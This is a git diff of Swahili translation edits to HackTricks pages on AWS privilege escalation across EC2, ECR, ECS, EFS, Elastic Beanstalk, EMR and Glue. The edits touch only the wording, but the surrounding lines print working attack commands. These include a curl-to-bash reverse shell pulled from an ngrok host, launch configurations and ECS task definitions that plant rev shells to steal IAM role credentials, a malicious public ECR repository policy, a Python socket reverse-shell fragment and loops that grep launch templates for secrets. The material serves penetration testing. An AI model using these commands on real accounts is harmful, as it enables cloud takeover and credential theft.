ya Kuanzisha** ambayo ime **pangwa** kutumia **toleo jipya** au **la kawaida** itafanya **kurejesha mifano** ikitumia template hiyo na itatekeleza rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -182,7 +182,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mkonfigu wa Uzinduzi** na **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mkonfigu huo na kusubiri rev shell **kuiba Jukumu la IAM**. +Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mipangilio ya Kuanzisha** yenye **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mipangilio hiyo na kusubiri rev shell ili **kuiba Jukumu la IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -213,7 +213,7 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya EC2 IAM yaliyounganishwa na mifano inayoendesha. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayoendesha. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` @@ -237,7 +237,7 @@ Hii njia si ya manufaa sana kwa privesc kwani unahitaji kujua jina la mtumiaji n ### `describe-launch-templates`,`describe-launch-template-versions` -Kwa kuwa templates za uzinduzi zina toleo, mshambuliaji mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia hizi kugundua taarifa nyeti, kama vile akidi zilizopo katika data ya mtumiaji. Ili kufanikisha hili, script ifuatayo inarudiarudia kupitia matoleo yote ya templates za uzinduzi zinazopatikana: +Kwa kuwa templates za uzinduzi zina toleo, mshambuliaji mwenye ruhusa **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia hizi kugundua taarifa nyeti, kama vile akidi zilizopo katika data ya mtumiaji. Ili kufanikisha hili, script ifuatayo inarudiarudia kupitia toleo zote za templates za uzinduzi zinazopatikana: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -252,9 +252,9 @@ done ``` Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti. -Kukisia tunapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kujiandikisha kwa AWS. +Kukisia tunapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kujiandikisha kwenye AWS. -**Athari Zinazoweza Kutokea:** Kuongezeka kwa haki moja kwa moja kwa mtumiaji wa IAM. +**Athari Zinazoweza Kutokea:** Kuinua kibali moja kwa moja kwa mtumiaji wa IAM. ## Marejeleo diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index f3251fbb5..ac9ad7a8d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -32,7 +32,7 @@ Kama sehemu ya awali, lakini kwa hifadhi za umma. ### `ecr:SetRepositoryPolicy` -Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha** **sera** ya **hifadhi** ili kujipa (au hata kila mtu) **ufikiaji wa kusoma/kupakia**.\ +Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha** **sera** ya **hifadhi** ili kujipatia (au hata kila mtu) **ufikiaji wa kusoma/kupakia**.\ Kwa mfano, katika mfano huu ufikiaji wa kusoma unatolewa kwa kila mtu. ```bash aws ecr set-repository-policy \ @@ -59,8 +59,8 @@ Maudhui ya `my-policy.json`: ``` ### `ecr-public:SetRepositoryPolicy` -Kama sehemu ya awali, lakini kwa hazina za umma.\ -Mshambuliaji anaweza **kubadilisha sera ya hazina** ya hazina ya ECR Public ili kutoa ufikiaji wa umma usioidhinishwa au kuongeza mamlaka yao. +Kama sehemu ya awali, lakini kwa hifadhi za umma.\ +Mshambuliaji anaweza **kubadilisha sera ya hifadhi** ya hifadhi ya ECR Public ili kutoa ufikiaji wa umma usioidhinishwa au kuongeza mamlaka yao. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ @@ -87,7 +87,7 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji wa umma usioidhinishwa kwa hifadhi ya ECR Public, ikiruhusu mtumiaji yeyote kusukuma, kuvuta, au kufuta picha. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa umma usioidhinishwa kwa hifadhi ya ECR Public, ikiruhusu mtumiaji yeyote kupush, pull, au kufuta picha. ### `ecr:PutRegistryPolicy` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 6301866d4..f5a035152 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -Maelezo zaidi kuhusu **ECS** katika: +More **info about ECS** in: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ Maelezo zaidi kuhusu **ECS** katika: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Mshambuliaji anayekandamiza ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda ufafanuzi mpya wa kazi** wenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**. +Mshambuliaji anayekandamiza ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** au **`ecs:CreateService`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akreditivu za metadata na **kuikimbia kwa kuunda huduma mpya yenye angalau kazi 1 inayoendelea.** +Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** au **`ecs:CreateService`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia kwa kuunda huduma mpya yenye angalau kazi 1 inayoendelea.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -97,8 +97,8 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Hali hii ni kama zile za awali lakini **bila** ruhusa ya **`iam:PassRole`**.\ -Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena yoyote, hata kama huna jukumu, unaweza **kuendesha kontena lenye mamlaka ili kutoroka** kwenye node na **kuchukua jukumu la EC2 IAM** na **majukumu mengine ya kontena za ECS** yanayoendesha kwenye node.\ -Unaweza hata **kulazimisha kazi nyingine kuendesha ndani ya mfano wa EC2** ulioathiriwa ili kuchukua hati zao (kama ilivyojadiliwa katika [**sehemu ya Privesc kwa node**](aws-ecs-privesc.md#privesc-to-node)). +Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena chochote, hata kama ni bila jukumu, unaweza **kuendesha kontena chenye mamlaka ili kutoroka** hadi kwenye node na **kuchukua jukumu la EC2 IAM** na **mamlaka ya kontena nyingine za ECS** zinazokimbia kwenye node.\ +Unaweza hata **kulazimisha kazi nyingine kuendesha ndani ya mfano wa EC2** ulioathiriwa ili kuchukua hati zao (kama ilivyojadiliwa katika [**Sehemu ya Privesc kwa node**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] > Shambulio hili linaweza kutokea tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate. @@ -169,7 +169,7 @@ aws ecs execute-command --interactive \ ``` - Ikiwa ana **`ecs:RunTask`**, endesha kazi kwa `aws ecs run-task --enable-execute-command [...]` - Ikiwa ana **`ecs:StartTask`**, endesha kazi kwa `aws ecs start-task --enable-execute-command [...]` -- Ikiwa ana **`ecs:CreateService`**, unda huduma kwa `aws ecs create-service --enable-execute-command [...]` +- Ikiwa ana **`ecs:CreateService`**, tengeneza huduma kwa `aws ecs create-service --enable-execute-command [...]` - Ikiwa ana **`ecs:UpdateService`**, sasisha huduma kwa `aws ecs update-service --enable-execute-command [...]` Unaweza kupata **mfano wa chaguzi hizo** katika **sehemu za awali za ECS privesc**. @@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathirika, ambayo inaweza kuathiri utendaji wake au kuhamasisha data nyeti. +**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathirika, ambayo inaweza kuathiri utendaji wake au kutoa data nyeti. ## Marejeleo diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 61feae502..094430839 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,11 +10,11 @@ Zaidi ya **info kuhusu EFS** katika: ../aws-services/aws-efs-enum.md {{#endref}} -Kumbuka kwamba ili kuunganisha EFS unahitaji kuwa katika subnetwork ambapo EFS imewekwa wazi na kuwa na ufikiaji kwake (vikundi vya usalama). Ikiwa hii inatokea, kwa default, utaweza kuunganisha kila wakati, hata hivyo, ikiwa inakulindwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuweza kuifikia. +Kumbuka kwamba ili kuunganisha EFS unahitaji kuwa katika subnetwork ambapo EFS imewekwa wazi na kuwa na ufikiaji kwake (vikundi vya usalama). Ikiwa hii inatokea, kwa kawaida, utaweza kuunganisha kila wakati, hata hivyo, ikiwa inakulindwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuweza kuifikia. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -Kwa ruhusa yoyote kati ya hizo mshambuliaji anaweza **kubadilisha sera ya mfumo wa faili** ili **kukupa ufikiaji** kwake, au tu **kuifuta** ili **ufikiaji wa default** upatikane. +Kwa ruhusa zozote kati ya hizo mshambuliaji anaweza **kubadilisha sera ya mfumo wa faili** ili **kukupa ufikiaji** kwake, au tu **kuifuta** ili **ufikiaji wa kawaida** upatikane. Ili kufuta sera: ```bash @@ -58,13 +58,13 @@ Kwa ruhusa hii mshambuliaji ataweza **kuunganisha EFS**. Ikiwa ruhusa ya kuandik sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -The extra permissions `elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. +Ruhusa za ziada `elasticfilesystem:ClientRootAccess` na `elasticfilesystem:ClientWrite` zinaweza kutumika ku **andika** ndani ya mfumo wa faili baada ya kuunganishwa na ku **fikia** mfumo huo wa faili **kama mzizi**. -**Madhara Yanayoweza Kutokea:** Indirect privesc kwa kutafuta taarifa nyeti katika mfumo wa faili. +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili. ### `elasticfilesystem:CreateMountTarget` -Ikiwa wewe ni mshambuliaji aliye ndani ya **subnetwork** ambapo **hakuna lengo la kuunganisha** la EFS. Anaweza tu **kuunda moja katika subnet yake** kwa ruhusa hii: +Ikiwa wewe ni mshambuliaji aliye ndani ya **subnetwork** ambapo **hakuna lengo la kuunganishwa** la EFS lililopo. Anaweza tu **kuunda moja katika subnet yake** kwa ruhusa hii: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -Katika hali ambapo mshambuliaji anapata kwamba EFS ina lengo la kuunganisha katika mtandao wake wa ndani lakini **hakuna kundi la usalama linaloruhusu trafiki**, anaweza tu **kubadilisha hilo kwa kubadilisha makundi ya usalama yaliyochaguliwa:** +Katika hali ambapo mshambuliaji anapata kwamba EFS ina lengo la kuunganishwa katika mtandao wake wa ndani lakini **hakuna kundi la usalama linaloruhusu trafiki**, anaweza tu **kubadilisha hilo kwa kubadilisha makundi ya usalama yaliyochaguliwa:** ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index fcf7628d6..1aa96e619 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,18 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Maelezo zaidi kuhusu **Elastic Beanstalk** katika: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Ili kutekeleza hatua nyeti katika Beanstalk, utahitaji kuwa na **idhini nyingi nyeti katika huduma nyingi tofauti**. Unaweza kuangalia kwa mfano idhini zilizotolewa kwa **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Ili kufanya vitendo nyeti katika Beanstalk, utahitaji kuwa na **idhini nyingi nyeti katika huduma nyingi tofauti**. Unaweza kuangalia kwa mfano idhini zilizotolewa kwa **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, ruhusa za kuandika S3 & nyingi nyingine +### `elasticbeanstalk:RebuildEnvironment`, ruhusa za kuandika S3 & nyingine nyingi -Kwa **ruhusa za kuandika juu ya S3 bucket** inayoshikilia **code** ya mazingira na ruhusa za **kurebuild** programu (inahitajika `elasticbeanstalk:RebuildEnvironment` na nyingine chache zinazohusiana na `S3`, `EC2` na `Cloudformation`), unaweza **kubadilisha** **code**, **kurebuild** programu na wakati ujao unapoingia kwenye programu it **atekeleza code yako mpya**, ikiruhusu mshambuliaji kuathiri programu na akreditivu za IAM roll yake. +Kwa **ruhusa za kuandika juu ya S3 bucket** inayoshikilia **code** ya mazingira na ruhusa za **kurebuild** programu (inahitajika `elasticbeanstalk:RebuildEnvironment` na nyingine chache zinazohusiana na `S3`, `EC2` na `Cloudformation`), unaweza **kubadilisha** **code**, **kurebuild** programu na wakati ujao unapoingia kwenye programu it **atekeleze code yako mpya**, ikiruhusu mshambuliaji kuathiri programu na akreditivu za IAM role zake. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,9 +30,9 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, na mengine... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, na mengineyo... -Iliyotajwa pamoja na ruhusa kadhaa za **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** na **`elasticloadbalancing`** ni muhimu ili kuunda hali ya Elastic Beanstalk kutoka mwanzo. +Iliyotajwa pamoja na ruhusa kadhaa za **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** na **`elasticloadbalancing`** ni muhimu ili kuunda hali ya msingi ya Elastic Beanstalk kutoka mwanzo. - Unda programu ya AWS Elastic Beanstalk: ```bash @@ -48,7 +48,7 @@ Ikiwa mazingira tayari yameundwa na **hutaki kuunda mpya**, unaweza tu **kusasis ```python zip -r MyApp.zip . ``` -- Pakia faili la ZIP kwenye S3 bucket: +- Pakia faili la ZIP kwenye bakuli la S3: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -56,13 +56,13 @@ aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Tunga toleo la programu kwenye mazingira yako ya AWS Elastic Beanstalk: +- Pandisha toleo la programu kwenye mazingira yako ya AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Kwanza kabisa unahitaji kuunda **mazingira halali ya Beanstalk** na **msimbo** unayotaka kuendesha katika **mhasiriwa** kufuata **hatua zilizopita**. Inaweza kuwa **zip** rahisi inayojumuisha **faili hizi 2**: +Kwanza kabisa unahitaji kuunda **mazingira halali ya Beanstalk** na **msimbo** unayotaka kuendesha katika **mhasiriwa** kufuata **hatua za awali**. Inaweza kuwa **zip** rahisi inayojumuisha **faili hizi 2**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Mara tu una **mazingira yako ya Beanstalk inayoendesha** shell yako ya rev, ni wakati wa **kuhamasisha** kwa **mazingira ya waathirika**. Ili kufanya hivyo unahitaji **kusaidia Sera ya Ndoo** ya ndoo yako ya beanstalk S3 ili **waathirika waweze kuipata** (Kumbuka kwamba hii it **fungua** Ndoo kwa **KILA MTU**): +Mara tu una **mazingira yako ya Beanstalk inayofanya kazi** shell yako ya rev, ni wakati wa **kuhamasisha** kwenye mazingira ya **mwathirika**. Ili kufanya hivyo unahitaji **kusaidia Sera ya Bucket** ya bucket yako ya beanstalk S3 ili **mwathirika aweze kuipata** (Kumbuka kwamba hii it **fungua** Bucket kwa **KILA MTU**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 2a4442b4f..cf0182c7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -Zaidi ya **info kuhusu EMR** katika: +More **info about EMR** in: {{#ref}} ../aws-services/aws-emr-enum.md @@ -13,7 +13,7 @@ Zaidi ya **info kuhusu EMR** katika: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Mshambuliaji mwenye ruhusa hizi anaweza **kuendesha klasta mpya ya EMR akishikilia majukumu ya EC2** na kujaribu kuiba akidi zake.\ -Kumbuka kwamba ili kufanya hivi unahitaji **kujua funguo za ssh zilizoorodheshwa katika akaunti** au kuingiza moja, na uweze **kufungua bandari 22 katika nodi ya mkuu** (unaweza kuwa na uwezo wa kufanya hivi kwa kutumia sifa `EmrManagedMasterSecurityGroup` na/au `ServiceAccessSecurityGroup` ndani ya `--ec2-attributes`). +Kumbuka kwamba ili kufanya hivi unahitaji **kujua funguo za ssh zilizopitishwa kwenye akaunti** au kuagiza moja, na uweze **kufungua bandari 22 kwenye nodi kuu** (unaweza kuwa na uwezo wa kufanya hivi kwa kutumia sifa `EmrManagedMasterSecurityGroup` na/au `ServiceAccessSecurityGroup` ndani ya `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,27 +36,27 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. +Kumbuka jinsi **EMR role** inavyotajwa katika `--service-role` na **ec2 role** inavyotajwa katika `--ec2-attributes` ndani ya `InstanceProfile`. Hata hivyo, mbinu hii inaruhusu tu kuiba akidi za EC2 role (kama utajihusisha kupitia ssh) lakini si EMR IAM Role. -**Potential Impact:** Privesc to the EC2 service role specified. +**Athari Zinazoweza Kutokea:** Privesc kwa EC2 service role iliyotajwa. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +Kwa ruhusa hizi, mshambuliaji anaweza kuingia kwenye **AWS console**, kuunda Notebook na kuipata ili kuiba IAM Role. > [!CAUTION] -> Hata kama unachanganya IAM role na notebook instance katika majaribio yangu niliona kwamba niliweza kuiba AWS managed credentials na si creds zinazohusiana na IAM role. +> Hata kama unachanganya IAM role na instance ya notebook katika majaribio yangu, niliona kwamba niliweza kuiba akidi za AWS zilizodhibitiwa na si akidi zinazohusiana na IAM role husika. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Athari Zinazoweza Kutokea:** Privesc kwa AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Kwa ruhusa hii pekee, mshambuliaji ataweza kufikia **Jupyter Notebook na kuiba IAM role** inayohusiana nayo.\ +URL ya notebook ni `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Hata kama unachanganya IAM role na notebook instance katika majaribio yangu niliona kwamba niliweza kuiba AWS managed credentials na si creds zinazohusiana na IAM role. +> Hata kama unachanganya IAM role na instance ya notebook katika majaribio yangu, niliona kwamba niliweza kuiba akidi za AWS zilizodhibitiwa na si akidi zinazohusiana na IAM role husika. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Athari Zinazoweza Kutokea:** Privesc kwa AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index 136e675e3..b6af69147 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,7 +4,7 @@ ### `gamelift:RequestUploadCredentials` -Kwa ruhusa hii, mshambuliaji anaweza kupata **seti mpya ya ithibati za kutumika wakati wa kupakia** seti mpya ya faili za ujenzi wa mchezo kwenye Amazon GameLift's Amazon S3. Itarudisha **ithibati za kupakia S3**. +Kwa ruhusa hii, mshambuliaji anaweza kupata **seti mpya ya hati za utambulisho za kutumia wakati wa kupakia** seti mpya ya faili za kujenga mchezo kwenye Amazon GameLift's Amazon S3. Itarudisha **hati za utambulisho za S3 za kupakia**. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index c348f421d..02b3d0808 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,7 +6,7 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Watumiaji wenye ruhusa hizi wanaweza **kuanzisha mwisho mpya wa maendeleo ya AWS Glue**, **wakitenga jukumu la huduma lililopo linaloweza kuchukuliwa na Glue** na ruhusa maalum kwa mwisho huu. +Watumiaji wenye ruhusa hizi wanaweza **kuanzisha mwisho mpya wa maendeleo wa AWS Glue**, **wakitenga jukumu la huduma lililopo linaloweza kuchukuliwa na Glue** na ruhusa maalum kwa ajili ya mwisho huu. Baada ya kuanzishwa, **mshambuliaji anaweza SSH kwenye mfano wa mwisho**, na kuiba akidi za IAM za jukumu lililotengwa: ```bash @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Kwa madhumuni ya kujificha, inapendekezwa kutumia akreditivu za IAM kutoka ndani ya mashine ya virtual ya Glue. +Kwa ajili ya kusudi la kujificha, inapendekezwa kutumia akreditivu za IAM kutoka ndani ya mashine ya virtual ya Glue. **Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma ya glue lililotajwa. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Watumiaji wenye ruhusa hii wanaweza **kubadilisha funguo za SSH za maendeleo** za Glue zilizopo, **kuwezesha ufikiaji wa SSH kwake**. Hii inamruhusu mshambuliaji kutekeleza amri kwa mamlaka ya jukumu lililounganishwa na mwisho: +Watumiaji wenye ruhusa hii wanaweza **kubadilisha funguo za SSH za** mwisho wa maendeleo ya Glue, **kuwezesha ufikiaji wa SSH kwake**. Hii inamruhusu mshambuliaji kutekeleza amri kwa mamlaka ya jukumu lililounganishwa na mwisho huo: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Watumiaji wenye **`iam:PassRole`** pamoja na **`glue:CreateJob` au `glue:UpdateJob`**, na **`glue:StartJobRun` au `glue:CreateTrigger`** wanaweza **kuunda au kuboresha kazi ya AWS Glue**, wakitenga akaunti yoyote ya **Glue service**, na kuanzisha utekelezaji wa kazi hiyo. Uwezo wa kazi hiyo unajumuisha kukimbia msimbo wa Python wa kawaida, ambao unaweza kutumika kuanzisha shell ya kurudi. Shell hii ya kurudi inaweza kisha kutumika kuhamasisha **IAM credential** za jukumu lililounganishwa na kazi ya Glue, ikisababisha uwezekano wa ufikiaji usioidhinishwa au vitendo kulingana na ruhusa za jukumu hilo: +Watumiaji wenye **`iam:PassRole`** pamoja na **`glue:CreateJob` au `glue:UpdateJob`**, na **`glue:StartJobRun` au `glue:CreateTrigger`** wanaweza **kuunda au kuboresha kazi ya AWS Glue**, wakitenga akaunti yoyote ya **Glue service**, na kuanzisha utekelezaji wa kazi hiyo. Uwezo wa kazi hiyo unajumuisha kuendesha msimbo wa Python wa kawaida, ambao unaweza kutumiwa kuanzisha shell ya kurudi. Shell hii ya kurudi inaweza kisha kutumika kuhamasisha **IAM credential** za jukumu lililounganishwa na kazi ya Glue, ikisababisha uwezekano wa ufikiaji usioidhinishwa au vitendo kulingana na ruhusa za jukumu hilo: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -79,7 +79,7 @@ Kwa ruhusa ya sasisho tu, mshambuliaji anaweza kuiba IAM Credentials za jukumu l **Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya glue iliyounganishwa. -## Marejeo +## Marejeleo - 